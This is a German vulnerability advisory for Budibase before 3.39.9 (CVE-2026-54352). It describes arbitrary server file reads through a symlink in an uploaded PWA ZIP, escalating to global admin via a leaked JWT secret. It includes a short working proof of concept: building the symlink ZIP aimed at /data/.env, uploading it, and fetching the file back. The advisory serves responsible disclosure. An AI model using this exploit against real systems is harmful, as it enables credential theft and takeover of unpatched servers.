Budibase: Beliebiger Datei-Lesezugriff über PWA-ZIP-Symlink-Upload

Ein angemeldeter Workspace-Builder lädt ein ZIP mit einem Symlink-Eintrag in den PWA-Endpunkt hoch und liest darüber beliebige Serverdateien wie /data/.env aus; mit dem geleakten JWT-Secret eskaliert das zur globalen Administratorrolle.

Advisory-ID: TP-2026-017
Produkt: Budibase (Open-Source-Low-Code-Plattform zum Erstellen interner Tools und Web-Apps auf Basis eigener Datenquellen)
Schwachstellentyp: Beliebiger Datei-Lesezugriff über Symlink (CWE-22, CWE-59)
CVE: CVE-2026-54352
CVSS 3.1: 9.6 (Kritisch) · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Betroffene Versionen: < 3.39.9
Behoben in: 3.39.9
Hersteller-Advisory: GHSA-w7mq-r738-x278
Gemeldet: 20. Mai 2026

Zusammenfassung

Budibase ist eine Open-Source-Low-Code-Plattform zum Erstellen interner Tools und Anwendungen auf Basis eigener Datenquellen. Der Endpunkt zum Verarbeiten von PWA-ZIP-Uploads nimmt von jedem Workspace-Builder ein Archiv entgegen und entpackt es mit extract-zip 2.0.1, das Symlink-Einträge mit absolutem Ziel unverändert wiederherstellt. Der nachgelagerte Icon-Validator folgt diesen Symlinks, weil sowohl die Pfadprüfung als auch die Existenzprüfung über path.resolve und fs.existsSync Symlinks auflösen, und lädt die Zieldatei nach MinIO, von wo sie unter einer Asset-URL zurückgegeben wird. Im Ergebnis liest ein Workspace-Builder beliebige Serverdateien aus, darunter /data/.env mit JWT_SECRET, Datenbank-Zugangsdaten sowie MinIO- und Redis-Passwörtern, was über HS256-JWT-Fälschung zur globalen Administratorrolle eskaliert. turingpoint hat den Ablauf verifiziert und verantwortungsvoll an den Hersteller gemeldet.

Ursache

Der Endpunkt /api/pwa/process-zip (packages/server/src/api/routes/static.ts:24) nimmt von jedem Workspace-Builder ein Multipart-file mit einem ZIP-Archiv entgegen und entpackt dessen Inhalt mit extract(filePath, { dir: tempDir }) (packages/server/src/api/controllers/static/index.ts:235). Die verwendete Bibliothek extract-zip 2.0.1 stellt Symlink-Einträge mit absolutem Ziel wieder her, ohne das führende / zu entfernen, sodass ein Eintrag wie evil.png -> /data/.env im Tempverzeichnis als Symlink landet. Der Icon-Pfad-Validator prüft path.resolve(baseDir, icon.src).startsWith(baseDir + path.sep) und fs.existsSync(resolvedSrc) (packages/server/src/api/controllers/static/index.ts:259-268); beide Prüfungen folgen Symlinks, sodass evil.png als gültiges, im Basisverzeichnis liegendes Icon akzeptiert wird. Anschließend öffnet objectStore.upload den aufgelösten Pfad mit (await fsp.open(path)).createReadStream() (packages/backend-core/src/objectStore/objectStore.ts:302), folgt dem Symlink und lädt den Inhalt der Zieldatei nach MinIO. Die Datei wird danach unter GET /api/assets/{appId}/pwa/{uuid}.png zurückgegeben, sodass ein Workspace-Builder beliebige Serverdateien wie /data/.env ausliest.

Proof of Concept

Voraussetzung ist eine gültige Workspace-Builder-Sitzung für eine App:

# Boesartiges ZIP mit Symlink-Eintrag bauen (System-zip mit --symlinks):
ln -s /data/.env evil.png
printf '{"name":"x","icons":[{"src":"evil.png","sizes":"192x192","type":"image/png"}]}' > icons.json
zip --symlinks attack.zip icons.json evil.png

# Upload durch den Workspace-Builder:
POST /api/pwa/process-zip
Content-Type: multipart/form-data; ...
[email protected]
# -> Antwort: {"icons":[{"src":"<appId>/pwa/<uuid>.png", ...}]}

# Inhalt der Zieldatei (/data/.env) ueber die Asset-URL abrufen:
GET /api/assets/<appId>/pwa/<uuid>.png

Da extract-zip das absolute Symlink-Ziel erhält und der Validator dem Symlink folgt, wird der Inhalt von /data/.env als vermeintliches Icon nach MinIO geladen und unter der Asset-URL byte-genau zurückgegeben.

Auswirkung

  • Lesezugriff eines Workspace-Builders auf beliebige Dateien des Server-Containers, einschließlich /data/.env.
  • Offenlegung von JWT_SECRET, Datenbank-Zugangsdaten sowie MinIO- und Redis-Passwörtern.
  • Eskalation vom Workspace-Builder zur globalen Administratorrolle durch HS256-JWT-Fälschung mit dem geleakten JWT_SECRET.
  • Übernahme angebundener Speicher- und Datenbankdienste über die offengelegten Zugangsdaten.

Referenzen

Steckt so etwas in Ihrer Software?

Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.